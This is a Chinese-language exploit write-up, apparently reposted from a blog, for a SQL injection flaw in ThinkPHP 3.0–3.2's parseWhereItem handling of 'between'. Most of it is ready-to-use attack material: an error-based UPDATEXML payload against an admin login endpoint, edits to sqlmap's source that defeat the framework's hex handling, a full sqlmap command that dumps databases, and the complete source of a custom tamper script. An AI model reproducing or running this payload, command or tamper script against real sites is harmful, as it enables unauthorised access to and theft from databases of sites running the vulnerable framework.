ThinkPHP 3.0~3.2 注入漏洞


地址:http://xx.com/index.php/Admin.php?s=/User/Public/check

payload:act=verify&username[0]=='1')) AND UPDATEXML(6026,CONCAT(0x2e0x7167656371,(SELECT (CASE WHEN (6026=6026) THEN 1 ELSE 0 END)),0x716e726771),8197)-- 1between&username[1]=CN000001&password=xxxxxxxxxxx&image.x=65&image.y=15&_hash_=e23b2ac1ecea61a34252c0c93d28a8b6_b9327556a986738edb45004015776680

漏洞文件:ThinkPHP\Library\Think\Db.class.php

漏洞原因:parseWhereItem函數對between關鍵字的正則匹配錯誤,導致了SQL注入

 

問題:

1.TP對0x7167656371形式的數據都解釋成是數據表的字段,因此對於sqlmap判斷注入存在的關鍵字是無法利用的,需繞過。

2.GET請求時,由於TP的路由模式對URL中的參數取得時,未做URL解碼處理,因此提交的時候不能使用URL編碼,且不允許出現空格,會導致路由失效出現404。

3.sqlmap會對0x7167656371的字符串形式’qgecq‘做匹配,且大小寫敏感,不然會造成無法識別注入點。

4.GET請求時在替換完payload時應該替換空白字符,但是POST時是不需要的

意味着–skip-urlencode參數可以根據需要添加

 

解決:

sqlmap的返回驗證機制中有一個頭關鍵字,可以觀察所有的插入字符都是q開頭的,且大小寫敏感。因此需要修改這兩處

lib/core/settings.pyKB_CHARS_BOUNDARY_CHAR = 'q' => KB_CHARS_BOUNDARY_CHAR = 'L'

lib/core/common.pyreturn retVal => return retVal.upper()

執行命令:

sqlmap.py -u "http://xx.com/index.php/ThinkPHP0day?key[0]=&key[1]=a" -p key[0] --prefix "='-'" --suffix "%23between" --tamper thinkphp0day.py --technique=U --dbms=mysql --union-char "156427916544" --skip-urlencode --dbs

 

thinkphp0day.py源代碼:

#!/usr/bin/env python

import os

import random

import re

import binascii

 

from lib.core.common import singleTimeWarnMessage

from lib.core.enums import DBMS

from lib.core.enums import PRIORITY

 

__priority__ = PRIORITY.LOW

 

def dependencies():

    singleTimeWarnMessage("tamper script '%s' is only meant to be run against ThinkPHP 3.0~3.3" % (os.path.basename(__file__).split(".")[0]))

 

def tamper(payload, **kwargs):

    """

    Notes:

        * Useful to ThinkPHP

 

    Replace hex string

 

    >>> tamper("0x7163646271")

    ==> 'qcdbq'

 

    >>> tamper(" ")

    ==> '+'

 

    """

    blanks = '/**/';

    retVal = payload

 

    if payload:

        retVal = ""

        quote, doublequote, firstspace, end = False, False, False, False

        for i in xrange(len(payload)):

            if not firstspace:

                if payload[i].isspace():

                    firstspace = True

                    retVal += blanks

                    continue

            elif payload[i] == '\'':

                quote = not quote

            elif payload[i] == '"':

                doublequote = not doublequote

            elif payload[i] == '#' or payload[i:i + 3] == '-- ':

                end = True

            elif payload[i] == " " and not doublequote and not quote:

                if end:

                    retVal += blanks[:-1]

                else:

                    retVal += blanks

                continue

            retVal += payload[i]

 

    retValArray = retVal.split();

    retTmpArray = []  

    p = re.compile(r'(0x\w+)')

    def func(m):

        tmp = m.group(1).replace('0x','')

        tmp = tmp.replace('\\','\\\\')

        return '\'%s\'' % binascii.a2b_hex(tmp)  

 

    for val in retValArray:

        retTmpArray.append(p.sub(func,val).replace(' ',blanks))

        

    return " ".join(retTmpArray)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM